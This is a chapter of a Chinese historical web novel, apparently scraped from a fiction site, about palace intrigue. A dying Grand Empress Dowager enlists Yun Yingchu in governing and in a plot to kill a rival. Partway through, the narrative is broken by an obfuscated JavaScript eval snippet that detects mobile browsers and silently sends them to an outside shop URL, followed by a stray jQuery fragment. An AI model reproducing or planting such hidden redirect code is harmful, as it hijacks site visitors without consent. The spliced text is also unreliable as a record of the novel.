文趣网 > 都市小说 > 逐鹿 > 102. 乱流
    送走了大司农,幕府前厅再次安静下来。

    云映初并没有立刻离开,反而在前厅中沉默着踱了几个来回,最终停在悬挂在侧的舆图面前。

    如今时节一路往夏日去了,白日渐长,宫内外如此一番耽搁,外面斜阳仍照,此时正有风在院中摇动,落在舆图上的婆娑树影被牵连得落下一派汹涌的明暗。

    眼下的时局着实盘杂纷乱!

    云映初拨开袖口的暗纹细绢,食指在舆图上长安所在轻点。

    暂且不说西北方向上的凶险......

    云映初目光扫过卫关,远看周身态度仍旧沉着得仿佛与幕府前厅的肃穆融为一体,唯有指尖却制不住似的蓦然一抖。

    她强自将目光移向东边。舆图上,长安以东数道大关横亘山峦河水间,月前开赴潼关等处的北军正在此方抵御流兵,至今已经对峙十数天。

    西北、直隶两处动乱俱是声势浩大,就算是禁中想要封锁消息也无能为力,更何况朝中有人推波助澜。转入五月后,从各地州府发向长安的顶着五花八门名头的文书,便如同正月里的雪片一般,无数封疆大吏和就藩王侯各显神通,希望能从京师流露的只言片语中咀嚼出未来的走向。

    而旋涡的中心——长安。

    云映初用指尖在舆图上轻轻摩挲长安的轮廓。

    近来朝廷上的衮衮诸公,连诗礼节义的表面文章都快要顾不得了。

    五月二日晚,西北事发,她领太皇太后旨意去见了太后,自此姜家失了与禁中的联络,便越发焦躁起来。

    一开始姜家子弟尚有余裕,还知道克制,见禁中大动干戈也只是上书旁敲测击,希望缓和事态,至少可以放开宫中与宫外的文书往来,后来见所奏俱是石沉大海,便含沙射影地指斥禁中常侍闭锁宫闱隔绝内外。走到这步,禁中仍旧不露一丝风声,任由朝臣如何逼迫,都咬死只称太后闻西北边军叛乱,惊惧之下卧病不起,长安备武的同时,为了至尊万安也要一同改换禁中防卫。

    姜家怎么肯答应!

    虽然投鼠忌器,但太后在京这么些年的运筹也不是白做样子,姜家登时便在种种台阁章程上发了难,虽说于开道征粮等等与城防相关的大事上被禁军拿着军令和刀枪逼了回来,但除此之外,朝堂上依然不负其望地被搅了个乌烟瘴气。

    这些事情说来都是前朝公卿们之间的倾轧,云映初身为命妇,到底与之隔了一层,本来不必如此烦忧......

    云映初转身缓步走回主位。

    只是,她如今身上背着三重要务——

    一则,她承太皇太后之托付,要沟通内外处理庶务。

    二则,她要敷衍太后,免得姜家狗急跳墙。

    三则,她虽身处这动乱时局当中,也要尽可能地为傅翾澄清内外,同时回护云家与傅家,至少不要让自身的干系牵连背后,这是最为重要的一项。

    此三项,已然是将她牢牢锁在了朝廷乱流中。

    “夫人......”

    许是见她长久不语,燕草有些担忧地小声唤道。

    直到云映初抬眼看向自己,燕草这才继续说:“夫人可是在担忧君侯?”

    云映初摇了摇头:“打仗的事我不懂,况且我远在后方,再怎么想也只不过是徒增烦恼,不能给他半分助力,倒不如为他料理些旁的事,免得他还要两边劳心。”

    “朝堂诸事自有人去操劳,夫人何苦再往自身上加担子呢。”秦桑刚刚转回前厅不久,她见云映初眉目凝滞,也开口劝道。方才她在下车后受云映初嘱托,不与燕草等随侍,而是先回绥宁堂将太后金印安置好。

    云映初坐回席上,用指节摁了摁额角:“宫里宫外,事情哪有如此分明。”

    “你们还记得当初太皇太后对我说的话吗?”云映初抬起头来。

    秦桑先是一愣,很快便会心想起云映初所指,正是当日太皇太后强撑着一丝清明,把她召到床前的一番嘱托敲打。

    “我......”太皇太后的气息难以接续,但握住云映初的手却用了不小的力气,“我已明旨敕令镇北将军、大司农、京兆尹、光禄勋等人临机辅政,此外,镇北将军武宁侯都督内外诸军事,如有必要,可决一切机宜。”

    “冯度,他跟了我三十余年,宫中有事可以让他来帮衬一二。”太皇太后说道。

    “陛下放心,妾明白。”云映初双手合住太皇太后热得异常的手心。

    “但是。”太皇太后缓了缓,继续说道,“哀家对外只称微恙,无力见外臣,天子与太后也因西北叛乱惊惧而病......”

    禁中一概无言,天子尚且年幼,太皇太后又定下朝臣辅政,这怎么看都是要托孤的意思,然而殿中无一人面有不安。

    “你要记得,哀家只是不便见外臣,并非不能理事。”哪怕到了如今,太皇太后的眼神依旧锐利,紧紧地盯着云映初,随后说出的话语仿佛千钧落地,“为了稳定人心,你来代哀家沟通内外,传递旨意,这禁中,哀家,也一并交托给你......”

    “......云家世代忠良,你自幼得圣人教化,忠贞体国上,哀家信得过你,能担得起这摊事的人,也只有你们夫妻了......”太皇太后的声音越发飘忽,反而衬得其中言语仿佛诚挚如剖肺腑。

    云映初本就半跪在太皇太后床前,闻言立时就着相执手的动作叩首下拜:“妾何幸得陛下青眼!但得陛下所托,妾自当与夫共誓肝胆,必欲全君上所念。”

    太皇太后听了这一番慨然之言并未多说什么,她招手令冯常侍奉来一卷诏令,示意云映初自行观看。

    云映初面上保持着此时该有的震动与哀戚,缓缓展开那卷至高无上的绢帛。

    她细细看过,绢帛上所书即是众人各自的擢封委派,其中不止是傅翾的加官多到咂舌,就连她以外命妇之身提封郡君的旨令也跻身于诸朝臣的安置之中。这实在是极大的看重。

    懿旨越是花团锦簇,越照

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17713101|204021||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    得云映初心平如冻。

    太皇太后一旦晏驾,除非傅翾死在长安城下,否则无论西北之危解与不解,都无人可以阻止继承傅家政治遗产的傅翾左右中枢政令。倘若没有与西北边军这一战,姜家或许可以与之抗衡,但是如今又有谁敢保证,在幽云边军入关勤王后,不会借扫平流兵叛乱顺势清理直隶一带呢?

    太皇太后自然也会想到这一点。

    所以,她将傅翾必然会得到的权力裹上君臣大义的面子提前赏赐了下去,对于云映初的破格封赏,也是额外的一道卡扣。

    云映初将旨意规整好后重新奉还。

    太皇太后在她再次抬头之后,手中稍稍用力,示意她附耳过来。

    “哀家自知时日无多,有一件要紧事要你们去办。”太皇太后轻声说道,“姜氏乱政,其根源在于哀家昔年不察之错,悔之晚矣。哀家本欲为天子多留一道护佑,只是姜氏上下实在是不成器,为一己之所欲,几次三番欺天子冲龄,欲使弃大梁基业而成一隅之君,此事若如其所愿,哀家死不瞑目。”

    太皇太后在云映初耳畔如常命令道:“当效汉武之远见,永除后患。”

    云映初一时无言,默然与太皇太后对视。

    太皇太后坦然道:“战时禁军隔绝内外,禁中的防卫听你调遣,你可以做到。”

    “此弑君大罪,妾不敢。”云映初神色是意料之中的惶然。

    “又不是要你亲自动手,你若怕,哀家一样可以给你留一道旨意。”太皇太后语气平淡。

    弑君的罪名哪里是一道还没到手的旨意能够洗脱的,想来太皇太后也必然不会允许他们清白幸免于这场混乱。

    不待太皇太后催促,云映初如常叩首:“兹事体大,妾当周详以计。”

    “要快。”

    太皇太后说道。

    ......

    “虽然太皇太后不遗余力地抬举傅家,但这并非是目的,而是手段。”

    秦桑和燕草满面震惊地看着云映初一派淡然的面庞。

    “推行政令上,自家的子侄门生,总要好过外人。陛下为大梁宗庙赓续殚精竭虑而已,又不是为傅家。”云映初说道,“不必惊讶于陛下时常将君侯也算计进去,陛下与我们一直不同路,只要事情的结果与我们所谋一致,何必管背后的目的。”

    “太皇太后身在宫中,但一举一动都震慑朝堂,有些事情不是一道宫墙就能拦得住的。”云映初站起身来,准备返回绥宁堂。

    秦桑和燕草连忙跟上。走到绥宁堂回廊处,秦桑忽然近前小声问:“夫人,那边的事又该怎么敷衍?”

    说着,秦桑向长信宫所在方向小心地指了指。

    云映初走进堂中,挥退正要近前的内侍,由着燕草和秦桑为她更衣。

    她理了理有点松了的鬓发:“正要叫你去办——

    “请伯母来家中坐坐吧,许多天没见,就说我......

    ......想她了。”